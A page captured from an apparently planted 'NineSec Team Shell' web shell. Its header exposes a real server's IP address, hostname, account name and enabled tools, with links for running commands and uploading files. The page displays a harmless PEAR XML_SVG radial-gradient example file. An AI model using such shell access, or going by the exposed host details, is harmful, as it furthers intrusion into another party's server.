NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/share/doc/cpanel-php83-xml-svg/docs/examples/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/share/doc/cpanel-php83-xml-svg/docs/examples/radialGradient.php
<?php
/**
 * XML_SVG Radial Gradient Example
 *
 * @package XML_SVG
 */

require_once 'XML/SVG.php';

$svg = new XML_SVG_Document(array('width' => 400,
                                  'height' => 400));

$g = new XML_SVG_Group();
$g->addParent($svg);

$gradient = new XML_SVG_RadialGradient(array('id' => 'ShadowGradient',
                                             'cx' => '50%',
                                             'cy' => '50%',
                                             'r' => '50%',
                                             'fx' => '50%',
                                             'fy' => '50%'));

$stop1 = new XML_SVG_Stop(array('offset' => '90%',
                                'stop-color' => 'black',
                                'stop-opacity' => 0.5));
$gradient->addChild($stop1);

$stop2 = new XML_SVG_Stop(array('offset' => '100%',
                                'style' => 'stop-color:rgb(0,0,0);stop-opacity:0'));
$gradient->addChild($stop2);

$defs = new XML_SVG_Defs();
$defs->addChild($gradient);

$g->addChild($defs);

$shadow = new XML_SVG_Circle(array('cx' => 170,
                                   'cy' => 170,
                                   'r' => 150,
                                   'style' => 'fill:url(#ShadowGradient)'));
$g->addChild($shadow);

$svg->printElement();

NineSec Team - 2022